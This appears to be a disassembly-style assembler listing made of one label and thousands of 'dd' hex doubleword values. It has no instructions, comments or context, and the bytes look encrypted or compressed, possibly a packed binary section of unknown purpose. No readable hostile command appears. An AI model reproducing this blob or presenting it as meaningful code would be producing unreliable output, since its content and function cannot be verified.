432A054Eh dd 0F281E973h, 7EE8A5Eh, 80B8AE1h, 55D65552h, 97DAE970h dd 0BD5C9025h, 0CFC112D6h, 0C45E0FA7h, 1998AEF0h, 0BBA2BD3Bh dd 55294B35h, 84E9DF10h, 22F0AA54h, 12BB7800h, 5803E281h dd 0E9250D46h, 6B20C3C8h, 5A7A14E9h, 0C0A50B8Fh, 17842289h dd 0FA85EAE8h, 9BFDB16h, 67756666h, 18F92FC8h, 0C4B1A0B2h dd 2E77583Ah, 0A996A3Dh, 0FBBB165Ah, 2829032Ch, 404B7125h dd 5D16A5BBh, 22214732h, 4AC5F74Eh, 0F32AE049h, 9670BF23h dd 8B255120h, 7392BFC1h, 7D5B5DD4h, 731A1542h, 72092F99h dd 163A52F5h, 67122568h, 0FB379411h, 0E4BF8364h, 0BC1A1Eh dd 1830F72Fh, 4C99022Eh, 3252FBCh, 0FAD528B2h, 605B54A2h dd 355B0FB9h, 17911F3Fh, 5C8BBEFh, 0B26C167Fh, 53AA146h dd 3D13BE07h, 0F7DF63D2h, 2EC7C7A1h, 0F6D7EFFCh, 0ED0447DCh dd 12E62FF2h, 0AA5F35BCh dd 5626F32Dh, 3D9D281Ah, 56036D60h, 416579FDh, 7CCEF508h dd 0B85E0EADh, 8BBB6F69h, 0E62BDD2Dh, 0EDC027Dh, 39F97F8Eh dd 572E3A09h, 40BF1A64h, 0BD5B4284h, 0F5D5C782h, 46D6F701h dd 4B7081C5h, 43984C11h, 0D1DBDC15h, 0EF0D7A06h, 0ED04CE5Bh dd 53B46B70h, 93FE5080h, 686D0C05h, 9FD10EDFh, 97532340h dd 3829B640h, 6C36B58h, 3C402F0Fh, 590B568h, 3109FAF6h dd 76463D3Ah, 0CF5E5208h, 64BFC025h, 9672095Ch, 0F3DB5B56h dd 2D9CEB01h, 5E600FB0h, 38541327h, 3FC10C1Ch, 0F2B7054Ch dd 87E9971h, 5A165DC8h, 51A3DBEEh, 0F970035h, 5D97C0B7h dd 74952BBEh, 0EFC24415h, 0C1FB2F75h, 77345A3h, 7C2CE800h dd 2EB13A51h, 0C81D9AB8h, 42C52604h, 30754FFFh, 0D37AE9FFh dd 405600D5h, 10E10D48h, 800FD63Bh, 6D39FB35h, 137D053Fh dd 0FF97A48Eh, 0DDB610h, 6E1FD1E5h, 31E9E821h, 4864596h dd 598BBAE7h, 5453840Dh, 2DB422ECh, 47D940D2h, 5E4F159Dh dd 3CDDC3BAh, 0D2E1135Eh, 9E1A96Ah, 686B36E9h, 2F63EB17h dd 0FE7A16E8h, 0E94FD709h, 13E2D813h, 0B53B62Ch, 0AFA8BF34h dd 3E572D84h, 0E95C1743h, 1EDC138h, 38FB2BF5h, 42481BF0h dd 75EDDA90h, 0A3190586h, 3ED3F204h, 52EB7F3Ch, 3A190BA5h dd 133CC751h, 0FD54E567h, 68CD0444h, 0D4AE2DA9h, 5A080B65h dd 27A24557h, 0E9C107D3h, 53228AFAh, 743EF303h, 94E16E99h dd 3CEA2A62h, 6A34E999h, 13BEFF4Ah, 5AE79272h, 0F2037E55h dd 8D731F2h, 48902CFEh, 8D9D3B65h, 5C2516B8h, 81891675h dd 3B092C6Eh, 0EBE5E3A9h, 0C52E16F6h, 1777A675h, 0E7C2EC0Ah dd 772C760Fh, 0DFE5E3B3h, 52661E83h, 14D2E950h, 575C34C6h dd 1190264h, 7E5A6BDDh, 3EA6204h, 0D80B8AD2h, 0FF43E364h dd 0FA4F0004h, 0BD691BF0h, 54C62648h, 3F9E7818h, 5161A0Ch dd 6D689D74h, 2FC0995Bh, 18F5E6E5h, 0B8F359E2h, 22661B00h dd 3B5F781h, 0D440A628h, 0A17FB0Ch, 1FEE0C04h, 19E02FEh dd 0F1BF6EEFh, 0E99B24A3h, 58419524h, 7765E582h, 1E4AC01Bh dd 94EF8851h, 0F46CE716h, 4835CBBFh, 17137E0Eh, 66F03D5Ah dd 783B182Bh, 5E740C42h, 5C1DFF26h, 0E7608F16h, 2D68E0D3h dd 6E5C1149h, 7CD2B2C5h, 0D3A7405Dh, 3E31815Ch, 597A6EFCh dd 871DD83Ch, 0C557D2D9h, 0FC3282E8h, 0A3DCBFEAh, 0EA3EB01h dd 0D1F46DBBh, 0C6D1C0E0h, 7F9A7811h, 87FAE6F4h, 5CEC794Ah dd 0F4C57CFh, 92C95F15h, 4ABCD0C6h, 6DDFA87h, 0C392002Ah dd 686ACE12h, 48B3B0B0h, 25A20C08h, 106CE475h, 4FFEFDF6h dd 12FC6F7h, 0F0E9D548h, 6C8C404Bh, 56CC09F2h, 37187444h dd 4D4EB1E9h, 1603DCB4h, 0F069C44Ch, 7091792h, 0F6D1013Eh dd 95092024h, 99000FF5h, 0FF487540h, 32190BEBh, 91CA5810h dd 65E90802h, 54B80957h, 158470B5h, 0CD7CBBAAh, 0E597BA03h dd 3244012Dh, 1756423h, 6ED31FBh, 0E1037008h, 0E97AFF70h dd 31553253h, 79FD8996h, 8B7C69A2h, 90167A4h, 21F4C7FDh dd 4A4CEC22h, 822A4126h, 56516866h, 0A7BB9D56h, 62145E40h dd 0C76036B2h, 649755F6h, 0B850039Dh, 2AAB5CBFh, 0CBA0B9FBh dd 609DE131h, 95DDE9D8h, 815C29CAh, 5F4B6020h, 0D85532BAh dd 0B4133E70h, 0D8EB8882h, 0D950285Eh, 3A412B59h, 0B9D7B343h dd 0D6EC1718h, 0D6DC9AB0h, 1023FD86h, 9384481h, 2930BA89h dd 8315E6DDh, 0B3AA100Ch, 29553B19h, 0EF07F106h, 11E6716Fh dd 0B251040Ch, 8E313DD6h, 0A0AC5AEBh, 5D0BE990h, 80DF5140h dd 7659D52Dh, 2581A878h, 0A6135021h, 600341DEh, 48125D10h dd 9BB11F35h, 9A6144F8h, 56C53CC6h, 0E2B45B7Fh, 0BAE496D5h dd 16CBB482h, 2329BE66h, 503BCB2Eh, 599715BBh, 0A48B69BDh dd 31E0DB7Eh, 1A3AA311h, 0D35F581h, 5D90EAF5h, 0E942637Bh dd 53FDC63h, 0E8E5D15Eh, 4E6809F4h, 41157208h, 873F201Ch dd 3A49FB5Ch, 0DF6A7231h, 8A047A08h, 1EFE1A0h, 0C135C08h dd 770A3E66h, 1A2F08E9h, 0FC0AF028h, 0CA0A12BBh, 0A3520114h dd 201FCB35h, 0DBC0560h, 301E5A8Bh, 2F64B819h, 85746BCFh dd 89055842h, 0C09D540Bh, 0D675ECEBh, 0C3292614h, 690841EDh dd 31A25F65h, 6D502CC9h, 9BD6FB2h, 0AF515DBAh, 0D032FD49h dd 34737255h, 0EE41E347h, 8B40CC8Bh, 40D75AE9h, 263AC533h dd 6FF6434Ch, 0A0A3E04Ah, 254D4713h, 6A1EDFCh, 4BC711ADh dd 3C6C0A0Ch, 0BC51E64h, 0BAABF1E9h, 5BE018D9h, 9E286F88h dd 0FB1BC275h, 0CCF0DB63h, 0DC2E6859h, 82C31A3Ch, 2FE9D028h dd 0B1CAA845h, 6BADF08Ch, 0C80E108Bh, 3D5E4239h, 527B100Ch dd 93B5B2Ch, 98FDF215h, 80C6F0B9h, 630F102Dh, 69401483h dd 0B7432017h, 0EEFC0E2h, 80DFF608h, 0CBD081ABh, 0F7306D1Dh dd 0C7C05A9Eh, 8BFC0827h, 9D75971Ch, 4E47283Eh, 528B2155h dd 0D4993FB2h, 2520B4DCh, 1F5EF3E9h, 275BF7BCh, 7FBF5901h dd 66D2D95Bh, 4DFEFE30h, 0C825A1BEh, 0CD4B5630h, 0D96DF95h dd 680ACF7h, 52FB2315h, 2C1F0B8Ah, 7604DD6Dh, 0F176FA1Ah dd 9579D0Dh, 7D5B7FCFh, 0D51F84C9h, 27638AAAh, 692EDE1Eh dd 51DCD1DFh, 2AC7E95Ch, 259FFAF3h, 2FDDD71Ah, 0C0B03730h dd 325F95BDh, 0BBF2F58Dh, 0A7973675h, 57092099h, 0E916FE6Eh dd 22AC7BC5h, 28CCAED2h, 0BFA74B78h, 2288AB71h, 28591481h dd 0D75B66D8h, 6BE62DD9h, 0B20C7964h, 1E6B8306h, 8A635008h dd 80F771B8h, 45C617F8h, 1EBCFA89h, 0E38A92C6h, 0C05AA726h dd 0DD315DE5h, 583C779Bh, 2168091Eh, 88C55123h, 7B2F52B4h dd 13AE20C5h, 803F2011h, 0BE38E968h, 5375A09Dh, 29FAA568h dd 2C321881h, 22480043h, 2EE925C0h, 58B6B759h, 0FA975B92h dd 0D4088BCEh, 9FDE897Fh, 3C61D45Eh, 5FC66248h, 0F2879200h dd 8C1D6F7h, 2279CA81h, 87204AC9h, 881940C6h, 0F312E672h dd 0E7EF148Bh, 9674D82Bh, 80E49DCCh, 3D1B7BBFh, 0A5308F55h dd 9DE55F4Eh, 0CFA03EAFh, 2F4A3952h, 0D6382D42h, 6C9489F1h dd 0A71995FFh, 0BAE99BFCh, 0DAF35F1Ah, 0B5906A8Ch, 0D776BFCAh dd 0D78A025Ah, 8EBE0C32h, 0BB5DF740h, 2224893Eh, 668796D9h dd 0C5A9BF16h, 9F1C210Bh, 9D5EACBh, 575968E0h, 0B0F9657h dd 0F43DE12Dh, 70933EAh, 92F1E7DDh, 0EC8084D6h, 226B2C27h dd 9C90A212h, 58DF776Dh, 0B5063530h, 0DE67D82Bh, 5B957520h dd 966EF25Ch, 0EFFF21AFh, 0E70B61F7h, 537023ADh, 3E7F1AF1h dd 0EADC8232h, 67655536h, 0C15AE868h, 0BE00EDC4h, 233D48A1h dd 4519172Bh, 0F3CC629h, 0AFAFC55Eh, 219E808h, 2D23685Eh dd 0B4489EFFh, 329A0215h, 0D17F3Ah, 92F38763h, 3AD5FECEh dd 80561064h, 1D0209D6h, 0E95B3006h, 7495B8C1h, 12CEF4EEh dd 10D60171h, 0A65B083Bh, 685604CAh, 8DE3218Bh, 385C3301h dd 3CFBE913h, 0CA28023Ch, 6135EA80h, 0EC22D973h, 66AFD73Bh dd 815E9F42h, 0CF68059h, 0DF960236h, 8E3C100h, 24D5BA52h dd 80B0455h, 4A0BD451h, 14DA8492h, 7F1E2DABh, 0BD55FD42h dd 2DF8D8F6h, 2574FDE9h, 1509D769h, 1CE45DFh, 46504CBEh dd 0AB5F3005h, 339A0782h, 0AE4C38A8h, 7811D34Fh, 88C5B427h dd 0BE4997F9h, 685C0B86h, 0B3556C2Ch, 6AD4D173h, 25E9F44Ch dd 4BD36E77h, 0F5F1218Bh, 7C75C11Ah, 0C9045A8Ah, 6680247h dd 62F97C73h, 3DA01C61h, 0C6802BB6h, 5EA3F4Eh, 0E1E9A46Ch dd 7C77CAA2h, 0A402EBA5h dd 5D0767A5h, 51FB4162h, 0C4A29615h, 1DBCEB9Fh, 40F62AA1h dd 14EC35EDh, 52F95A2Dh, 0AF685AAEh, 4F66F336h, 0FEE217BFh dd 36B4C741h, 0C545540Eh, 555A3749h, 0D3895383h, 3B061DD9h dd 0EA815F21h, 1020E22Ah, 424C2B74h, 0B077AA05h, 4480BA14h dd 5E21835h, 82E90A7Fh, 7B92CA4Fh, 19264327h, 14B4E26Dh dd 0AD2CD5B1h, 6D0845Bh, 81EE3004h, 7C5B230Eh, 8F0B9ECCh dd 2FF42307h, 0D2651C20h, 98DD2716h, 97C009BFh, 26A8495Ch dd 6137E83Ah, 57E4F20Ch, 0D90504A7h, 27AE973h, 0EC433DE7h dd 0A293E02Ah, 12D8EC7Ah, 8C5FF909h, 5131682Fh, 22827F01h dd 0E464377Ah, 850F04ABh, 2BE4B1AAh, 0E9B116BCh, 24F5CAC8h dd 0AAC2CC95h, 0F4606AFEh, 5AF1036Fh, 0C8818304h, 0F192D22Ch dd 87FED804h, 0F51E5307h, 66E80A5Ah, 7EB6C5B1h, 8D8BE827h dd 0CA701008h, 2A8C7AF7h, 27D140A3h, 0D2E05DEEh, 6113F681h dd 5004AB17h, 0B2EE2F7Fh, 0D6A72CAEh, 5EAA0593h, 0E0B6928Ch dd 350040D5h, 4D1178F2h, 4509025h, 10E9015Fh, 52758C68h dd 284E12F2h, 0DECD54ADh, 681920C7h, 28B6C440h, 9885082Ah dd 286F5C11h, 19ED4881h, 0B3F87EAFh, 0F4974A78h, 0A30BEBABh dd 0CB12614Dh, 0A6114E56h, 0FF9A4EA6h, 8A14E90Ch, 7509C26Bh dd 645501h, 0FAC4E78Bh, 7BAA906Eh, 537030D4h, 7733450Ch dd 90044058h, 0A8E90B08h, 6F016870h, 0FF47B7FCh, 32B65892h dd 935D022Fh, 0B59603C1h, 28102CACh, 59FDEFFh, 0BF4B6859h dd 4A54A38Ch, 0B127E85Ah, 40790AAh, 7E3CC2D8h, 0C2575E57h dd 0C151E1D1h, 1F135F12h, 74A7595Dh, 420CE396h, 85F7F98Fh dd 800E9C7h, 0C159CF89h, 2180BFE7h, 3EEF32ECh, 8EE6FEBFh dd 49F901E9h, 0BBA2AC5h, 0BF88580Bh, 33210891h, 0E380590Eh dd 3ACC3036h, 2812C20Ch, 0B89556E2h, 0C49B2029h, 4DC9D0Ch dd 52B8C830h, 3A23888Bh, 0C593CDFEh, 0F73D7C2Bh, 9A06963Ch dd 0F516C4ADh, 200FE5Eh, 0B11DB0EDh, 0ADF5950Ch, 0F7F8D733h dd 4CAF7174h, 5524B423h, 0BC61A57Ch, 0CEE33B2Dh, 0A2F33984h dd 0F8B417D2h, 5677D509h, 0EE5C0CECh, 1BEEEF1Fh, 9EE7D14Dh dd 0F609954Bh, 1FC0809Eh, 0CB8129B5h, 0F7348F0Ah, 0F1A9445h dd 0BD97687h, 0AEE8D095h, 1B1260EBh, 84025C7Fh, 40E4644Bh dd 9F97A8D9h, 0ECBDB29Ch, 0D7F920DDh, 2E887FA0h, 926A033Dh dd 0CF4238EBh, 0CBC6FE1Fh, 7D20A280h, 0E1B104E3h, 25E2435Dh dd 515B0C20h, 72A5E897h, 2A6234F5h, 77889396h, 0BDC098E7h dd 0B8356438h, 426F6517h, 0F4398816h, 357E3CCh, 8F17B8BFh dd 7E594710h, 55444ADCh, 26F88BE6h, 0B47E5C89h, 8AF27589h dd 0C6077CA9h, 26E56A59h, 9A6E308h, 0F9572158h, 0F5F4BCCh dd 5D9C3F42h, 0E142450Fh, 6F67EAF1h, 9375A541h, 1B90C310h dd 6B52DB26h, 5C46BB0Bh, 0F68649ACh, 0A2BD8334h, 1B571B6h dd 0C26DB068h, 0D2A3DE5Dh, 809E5FC1h, 3378052Eh, 92299B7Fh dd 0B1125A0Ch, 0A5CF724Dh, 0C8C065BAh, 0AA9C6856h, 24FBD00h dd 1DB87398h, 0E7741C7Fh, 81059000h, 0F82EA661h, 0A4275029h dd 79E89018h, 32FF640Fh, 0E4F1C206h, 6B2C5912h, 53D00FE1h dd 534A4DB3h, 22F9E51Ah, 6E6F4760h, 0C96D1E28h, 3D6791A0h dd 5620C09Dh, 182C74BEh, 12097034h, 5960C7E9h, 2FCBBAA6h dd 0FB62588Bh, 50DCF32h, 0EA95D8DDh, 0C72E31FEh, 3E2D55A0h dd 68802CF3h, 66703E1Eh, 1AE05F5Eh, 0B0B77D45h, 0BCA54A53h dd 7CEE5E60h, 6A63931Dh, 0EC4F092Ah, 821383B9h, 4B48B628h dd 10846C74h, 27D23BCh, 4A26BA52h, 0C8DF1A54h, 25E9C130h dd 4CD749F1h, 0CA1695B4h, 68568EA8h, 0DC7C422Fh, 3F227A4Bh dd 65FF58C6h, 26338808h, 6209412Dh, 0A4B8A180h, 0BF67E744h dd 4D36AA0Bh, 22B4ED0h, 7C95D4B8h, 487D2D45h, 98F8014Ch dd 0B0AA4048h, 0C130C717h, 17FA6571h, 0C47CAC2Eh, 0CCEF7670h dd 0F6F4507Dh, 38BE225Bh, 0D05A6823h, 0B62291B4h, 98D72776h dd 81CB7ECCh, 230BD85Dh, 0C64CCDBAh, 34E512F4h, 670280D2h dd 2539A638h, 54B7B7D8h, 654678CFh, 8951F19Dh, 73D9F5B0h dd 9530F56Bh, 284C4AA6h, 595A10BCh, 38D8681Eh, 3ED8FE4Eh dd 50B92DE9h, 0BD52D491h, 3ED9086h, 17158C4Ch, 5F7E538Eh dd 5E800B52h, 0A4C61804h, 38905756h, 0A4674712h, 56C801ABh dd 9D4CD90Ch, 7509DD0Ch, 6E50C029h, 2A5A8141h, 806A16A1h dd 72F64B82h, 2D9969Dh, 50353E84h, 2442C383h, 25851C1h dd 2597D095h, 1E69410Ch, 2E27C126h, 0CAF494B1h, 367995FFh dd 29C95E6Ah, 2C5E7B3Eh, 37930B30h, 0B38417D3h, 30EEFEFBh dd 685753A4h, 0AE08543Ch, 0A20D865Ch, 0A26B24EFh, 1362357Bh dd 2013B5EEh, 19176002h, 28FF5E4Fh, 525E9F4h, 0DBC7186Ah dd 767D82CBh, 0D7722DD3h, 4BB8DBBDh, 0C15ADFD4h, 0B32BD862h dd 67681ECAh, 0C1772A89h, 2D012E32h, 0E2A7F93Ch, 4005B841h dd 0F36CE907h, 0F46065AAh, 883F75EFh, 2F7131Bh, 43E0FC89h dd 4D62F1CFh, 0CC6B2A58h, 0E9D2E055h, 4CEE62D7h, 1DC2EF01h dd 5B14D0D5h, 0A61BEC5Dh, 8294F4BCh, 69200ED7h, 7F66D7CBh dd 0FEEA57A3h, 242807Ch, 0F73007E4h, 53CBD158h, 7E43AF6h dd 0F2EF5A54h, 4F3A5C34h, 68D278BBh, 187C792Dh, 1F776FC6h dd 8150533Ah, 6ECB6197h, 297BC5E9h, 81061305h, 0D84A7502h dd 0EFE0D51Fh, 3F7C273Dh, 0D4A4EF01h, 3EE9F0EAh, 9159AF97h dd 0C068510Bh, 20FD4712h, 0C29743C7h, 4DF15FFAh, 0AAE708CBh dd 0CF8055ADh, 0CC1156B9h, 24B4435Bh, 12AA94EDh, 44BC1FADh dd 0EB71261Ah, 0D26800C3h, 0C2E2FC50h, 78903325h, 82076918h dd 0CF1CBA63h, 5C298082h, 5B05082Bh, 7D437630h, 0B1195E82h dd 365F820h, 0FF97599Ah, 5C57C91Ah, 0B6D4898Fh, 51DEDFAh dd 6279EB28h, 5AEAEE3Ch, 803C9848h, 9B180DDEh, 925F088Eh dd 0A3CFB800h, 9D31433Ah, 0EFC0F88Fh, 2957B222h, 20231EDh dd 9AC35D08h, 0DED8BA16h, 92AAD394h, 9B465AC9h, 69393B2Dh dd 0C1DC7B2Bh, 7FB3BD35h, 944D1829h, 0EBE95585h, 853037FEh dd 7890B1DFh, 8401271Ah, 9CA86028h, 0FF7C7085h, 0CE31B431h dd 354AF04h, 0F558C4B6h, 5BDD2902h, 0E9DA7E77h, 68277053h dd 0FEA80EDh, 78B050B4h, 0F77A8666h, 3D21F204h, 0E9807FBEh dd 67D9204Dh, 72670C05h, 164062A3h, 0A9057899h, 10D1E945h dd 2ABE89FAh, 0D671FFBh, 20680A13h, 0CB409226h, 3EB400B8h dd 50BB38F3h, 0C75B0CC1h, 141083EDh, 0EB680C2Fh, 5864AD76h dd 8391DF73h, 909DFB13h, 4E7FC3D7h, 431E7319h, 5FD8740Eh dd 60C9D3Bh, 0E0296CAh, 0FB6821F1h, 7C09B04h, 227F95C2h dd 0C2FE9476h, 71DD0C58h, 6DC56FCAh, 0B9CEBAFBh, 7ABF680Ah dd 0B35360F5h, 0C31CFE32h, 3326F380h, 5032E02Fh, 7D4E7DB4h dd 3AF439C4h, 0B0194AF5h, 0D90188EFh, 68D1F65Bh, 0D4287C0Ch dd 697D349Ah, 698C813h, 286C4070h, 0CA3AE161h, 132BC4E9h dd 84D1E94Fh, 5B01C60Fh, 52230268h, 9E1B553h, 8856F8Ah dd 0D3CDE3AEh, 6568B94Eh, 84087F5Ah, 79542D48h, 53E523E4h dd 0A0ADEC7Fh, 72792705h, 4FC2B5E7h, 285A0705h, 1B1F6337h dd 0CB817552h, 53B962CEh, 7AEBEF40h, 40E73E0Eh, 0F3BDB9ECh dd 146D7301h, 60E6E937h, 4054347Bh, 0BF302D85h, 4C94FDC1h dd 0E5C75425h, 13EFDBh, 0ABC4D6BCh, 9068046Fh, 1D2E5ECh dd 0D921D3C2h, 7A016A67h dd 9826DE31h, 0DD3C61F6h, 6C205606h, 0E532C18Dh, 442DF076h dd 0CEACAE8Eh, 7D37E9A0h, 64EF57BEh, 0DDBF278Ch, 44983E2Dh dd 0C8B1C451h, 5F8CEB2Eh, 0E32F5A3Ch, 0F4B8451h, 0BBA134BBh dd 0E9B159E9h, 275432FDh, 0CE117534h, 96D02A5Eh, 13E14094h dd 64740106h, 5E0C01E7h, 0A4EAE8E9h, 0B22FD146h, 0FD106219h dd 7DE90B68h, 59BD59B2h, 4FE269FCh, 69A27B5Dh, 7DB7327Fh dd 0EB4D8394h, 0D1572DA2h, 0D3BE70B7h, 9B78FD82h, 59011C90h dd 68203A60h, 93516A86h, 0DD7AA7ADh, 468DB1FBh, 0D689EC0Ah dd 0DF0E33B4h, 0C5E688E7h, 3513AE9Dh, 0D330B2BEh, 908B6A81h dd 0B2BFB381h, 7038EC41h, 1302D015h, 16E9FCC3h, 965C04DBh dd 70092A70h, 0F879F32Dh, 6B74F3CDh, 0CF87245Fh, 2F9710D8h dd 2BAB5529h, 0E47CC3FFh, 2638B4D1h, 0EC525793h, 0C2FAD6E6h dd 2179E143h, 94BC262h, 253AD561h, 4482019Eh, 63764062h dd 5060A640h, 0F2542C0Ch, 1C315C5Bh, 5AD33D73h, 0E70889ADh dd 632913B2h, 1EFBE088h, 16F6EB8Dh, 0B0D55FC9h, 975BD8C0h dd 3B782776h, 989C5CC8h, 0D2358072h, 0D1C4E397h, 36405B7Fh dd 60AB4A29h, 0D1530C3Ch, 52951AECh, 10222DAEh, 0B6BD447Bh dd 0B8E53A9h, 4E7961D0h, 0AEF5620h, 0DAB00CC9h, 0E28BDC93h dd 0AB37165Eh, 0C2F195ECh, 0EC28BA2Eh, 106910EFh, 0C12A471h dd 4009B7A4h, 0BE035639h, 6EE667D1h, 329EC1h, 9982F0C6h dd 56AFE911h, 0F286E8BFh, 1E5816CAh, 3EFAA1F6h, 0E90920BFh dd 4FBC55B7h, 4B96F97Bh, 848AE178h, 0E8DF88B6h, 2F547E2Dh dd 0FA4A8E70h, 0C7A28BF8h, 909550D5h, 0DA8822B1h, 5D9736B0h dd 6696B71Fh, 9D3059A3h, 0B652AC85h, 0E4386579h, 2DFF5A20h dd 0C1D0128Ah, 5253E840h, 0FC8F682Fh, 15A7C0C6h, 0E9123F78h dd 0ADE42F3Bh, 0C0C709B5h, 0B0FD07EDh, 54309F31h, 3868CBD5h dd 0AA5B4944h, 3C29BC39h, 0C44A2C94h, 56172C6Fh, 3AB1E926h dd 27637B2Dh, 2DCA1455h, 0FB0F52E9h, 0DB84022Bh, 509BB2E8h dd 9F409B81h, 9A22468h, 380A6F47h, 0BADE45F2h, 0FC5AB682h dd 4EC55842h, 0FC81D582h, 2F585D68h, 5B266FCCh, 591B020h dd 4226E04Fh, 804CEA12h, 130C6DB8h, 16484963h, 6C3CB61Fh dd 52486693h, 74B02770h, 922864EEh, 5C57212Ch, 0E8C1781Dh dd 0C8310E0Bh, 2E55D291h, 6FAB4F02h, 0E55F2A06h, 9B85003h dd 0E1C5859Ah, 188C2169h, 504D8F7h, 969F9E09h, 0C0C892EEh dd 2C305002h, 1CB604B1h, 950D07E9h, 84565EAEh, 148FBA5Fh dd 8A10D443h, 24BB3571h, 26695411h, 7B12A55Bh, 4FB918A4h dd 0E806D936h, 139408D3h, 7C02A3EAh, 0F5503C1Ah, 80099FF8h dd 0DCAFC3E5h, 0CB4C25DFh, 0D6122525h, 0F76861E2h, 13513655h dd 79A98CB6h, 92ABA10h, 7165BE68h, 32B18AB2h, 0A9813A7Bh dd 0CA0155CDh, 70BA3B59h, 1D6AE946h, 202FB9Fh, 311A1042h dd 565AF7FEh, 0A8531399h, 0D384E76Eh, 2FA0F6EBh, 0AD6F7C4Eh dd 73B7C714h, 3E280825h, 0BBB5913h, 0E3FE0B7Eh, 74AF2921h dd 787C247h, 110F98F2h, 6B037D93h, 0C1F941FAh, 0E1F83521h dd 0D2300365h, 4AD18736h, 0FCFC067Bh, 0CE120F38h, 33149CEFh dd 0BF8FE980h, 344C82FCh, 0C1031217h, 0C5A1AB21h, 0E2FB0805h dd 7DBD2537h, 82D9F433h, 0EFB93E66h, 0C6853C1h, 0A63A2Ch dd 0CDDAE982h, 17737D52h, 16BCBF80h, 0F03B9C76h, 0CF0481CAh dd 57121C4Fh, 0BA0712FBh, 0AA403489h, 489D5C45h, 0EA27FC53h dd 0F4B58158h, 685DCB69h, 918C4DC8h, 5D4F0222h, 5C0253Dh dd 714EC768h, 0AFEDB631h, 4AC84034h, 0B309FE2Dh, 0C0C05F05h dd 694F58E9h, 44DB5743h, 0C9E60272h, 392B2A9Bh, 74F5AB80h dd 0CC02D9Eh, 5240206Ch, 7E130C1h, 96BF32Ah, 0C68E5860h dd 908C0F7Dh, 27505ABAh, 0D790857Bh, 0FC30A5ABh, 63AC07AFh dd 8CE472F6h, 0D00ED5E8h, 134180ECh, 0C8E28852h, 6BBC5AD1h dd 55C2136Eh, 0BD65E97h, 8104DDB7h, 8907AC33h, 0C6E8C849h dd 7EA1636h, 2A8F823h, 3ECC7BFh, 3D40F70Fh, 0E9AA5752h dd 0E9B4E8D7h, 909A5B40h, 0F868146Dh, 84E02B49h, 8FBA0198h dd 0A55D7FEEh, 0EC2D0986h, 29FE0406h, 7178CC4h, 4058DBD8h dd 5A00BD34h, 11F456Ah, 9BF5FFDh, 0C07E656Ch, 69418FFFh dd 92FD8F9h, 402437B6h, 9B455987h, 0CD388805h, 9FE37B32h dd 85DAB8D6h, 7380E4A0h, 0BE636A68h, 0AFDE64A4h, 51B9BABCh dd 7F6A092Eh, 56B226E8h, 2AC10460h, 2DC91B58h, 5981851Ah dd 30B9D9ABh, 6658AAB2h, 0BBB3C25Ah, 0FE0C5230h, 2FA59E14h dd 42684440h, 1022CA4Ch, 2D79B97Eh, 34FE1A30h, 167BC7C0h dd 0FDCEB02Ch, 577B716Ah, 0A93603h, 3E96347Dh, 1D38EA81h dd 0AE105171h, 0C17C04FAh, 4390AE15h, 4E8A1949h, 0B502AFE4h dd 7F585FFAh, 6816D71Eh, 0F616A1Ah, 8701771Dh, 80C06AD7h dd 612C84C6h, 0DF7BDB80h, 53BC2E49h, 0FA5F0840h, 0D41153E2h dd 6AB2A05Fh, 0E0951273h, 0D6A2BB10h, 0E55BF55Ah, 2BB13591h dd 0E2FE8812h, 0F6B9B61Ch, 0A3FB5A7Dh, 26F14B68h, 0E62F55C1h dd 0FD5D25F7h, 18E9EE48h, 2BB4A14Eh, 31509703h, 0D5DEE328h dd 4329DA44h, 0B1510052h, 0E9C888A9h, 10F29523h, 261AE305h dd 0A0EF297Ch, 90ED502Ah, 0D000CACh, 3E8E1A61h, 1E2DE735h dd 0DDD600EFh, 0B746E520h, 882105Ah, 76127DFAh, 3FF9FEFBh dd 12F10D9Bh, 0CA912E30h, 0E01514AFh, 0B09BA7Fh, 662F5Ch dd 0EC411E0Ah, 160C9612h, 4C8E0413h, 3324E052h, 72975174h dd 5A0780A3h, 2E335C1h, 0BAC795C4h, 0F4379E91h, 0BF5FFC79h dd 33C0C345h, 82D9AFh, 35FC68DEh, 0CFA198B5h, 6333BEDEh dd 4E02E2B4h, 87685666h, 3DFF7167h, 49A6B90Ch, 983CC1C6h dd 0E41B074h, 0C772E6C9h, 0C076990Bh, 3E9D9F7h, 5B008196h dd 2838EE80h, 0B05000CEh, 0E9D8F64Dh, 0E4975DA4h, 0A9054BE9h dd 0EDF15EECh, 6FE9C2C8h, 0E681936Bh, 0FB20035Dh, 59E50C04h dd 0BDB4645Eh, 97670BEEh, 83D6AE5Bh, 0E3433F83h, 90C041Bh dd 0C14AC435h, 626EFB24h, 4270B7Ch, 82D6128Bh, 15AA194h dd 896F26E9h, 7F59CD9Fh, 0B3CB06B0h, 55B81CC0h, 2861631Ch dd 4FA1E0C1h, 0F77D9079h, 293030DCh, 709E0C0Ah, 90734F47h dd 1875EEF4h, 0C5D0530h, 4E202AC3h, 417BF97Dh, 140CA008h dd 56E9A5C5h, 0FA2AE1B1h, 0B2AA6964h, 6DE9B1AEh, 0EEF0123Bh dd 0E85FF08Ah, 0E1AF855Eh, 0A5B1BC00h, 1259CA28h, 0FC5AD520h dd 0CD017DE3h, 803BB753h, 0EFEC46F7h, 0E4CDED04h, 2060C90h dd 0E9FD28C3h, 773B4AA8h, 7F4629D6h, 0CD810261h, 7C192F44h dd 50106260h, 9032627h, 0FB3AD74Ah, 50B00963h, 80BF0746h dd 53DACF2Ch, 0E9491CA1h, 0C6D2650Fh, 0EF8878B6h, 875E0BB7h dd 0C1677Fh, 52BBAEEBh, 0DF4829E0h, 0ACC72CBDh, 0E13F300Fh dd 0A13911E7h, 0A56E04FBh, 0A83D0D3Ah, 0F34F0237h, 43FE317Eh dd 0D651FA1Eh, 0BF066C82h, 266C4A12h, 0F3E27BB8h, 215E1082h dd 25407475h, 0C2090682h, 42C2C65Ch, 81EDDC0h, 0D8207C9Dh dd 0ED498AE9h, 50CF0167h, 0EF287AB8h, 13183270h, 0B1A409FBh dd 59A99362h, 0D52F2304h, 0AE8C102h, 0F812C15Dh, 884C7D1h dd 0BB454468h, 2B72895Ch, 625362E0h, 0C2A67486h, 0A40A0E23h dd 42269102h, 0C281604Ch, 0EAEF2D3Fh, 0F2C5CD0h, 0C30A120h dd 900E3E09h, 0D2D3518Ah, 810C0806h, 17B5A14h, 232B60E5h dd 8D508551h, 0A0ABEF6Ch dd 8A2EA26h, 0C21C5B5Bh, 831C68D2h, 384C7527h, 20E8719Dh dd 9656BFACh, 0C0C6AD3Dh, 2FE2BFBCh, 2C707B15h, 290380E1h dd 0E9F787FEh, 0D13C5F94h, 737FB2B4h, 134048ADh, 8EEB2F45h dd 0E4D32DBAh, 52DF4000h, 